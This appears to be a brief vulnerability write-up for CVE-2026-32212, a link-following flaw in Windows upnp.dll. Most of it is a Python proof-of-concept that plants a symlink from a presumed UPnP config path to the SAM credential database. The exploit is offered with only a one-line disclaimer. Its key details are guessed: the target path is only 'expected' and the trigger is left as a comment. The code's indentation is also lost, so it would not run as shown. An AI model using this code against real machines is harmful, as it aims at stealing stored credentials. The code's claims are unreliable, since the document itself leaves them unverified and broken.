Improper link resolution before file access ('link following') in Universal Plug and Play (upnp.dll) allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
import os
# PoC Concept for CVE-2026-32212
# This demonstrates creating a symlink to exploit improper link resolution.
def create_malicious_link(target, link_name):
try:
# Create a symbolic link pointing to a sensitive file
os.symlink(target, link_name)
print(f"[+] Created symlink: {link_name} -> {target}")
except Exception as e:
print(f"[-] Error creating link: {e}")
def trigger_exploit():
# Target a sensitive system file (e.g., SAM database)
sensitive_file = r"C:\Windows\System32\config\SAM"
# The path that upnp.dll is expected to access
vulnerable_path = r"C:\ProgramData\Microsoft\UPnP\Config.xml"
print(f"[*] Attempting to exploit CVE-2026-32212...")
create_malicious_link(sensitive_file, vulnerable_path)
# In a real scenario, trigger the UPnP service to read the file
print(f"[*] Waiting for UPNP service to access {vulnerable_path}...")
print(f"[*] If successful, the service will read {sensitive_file} via the link.")
if __name__ == "__main__":
trigger_exploit()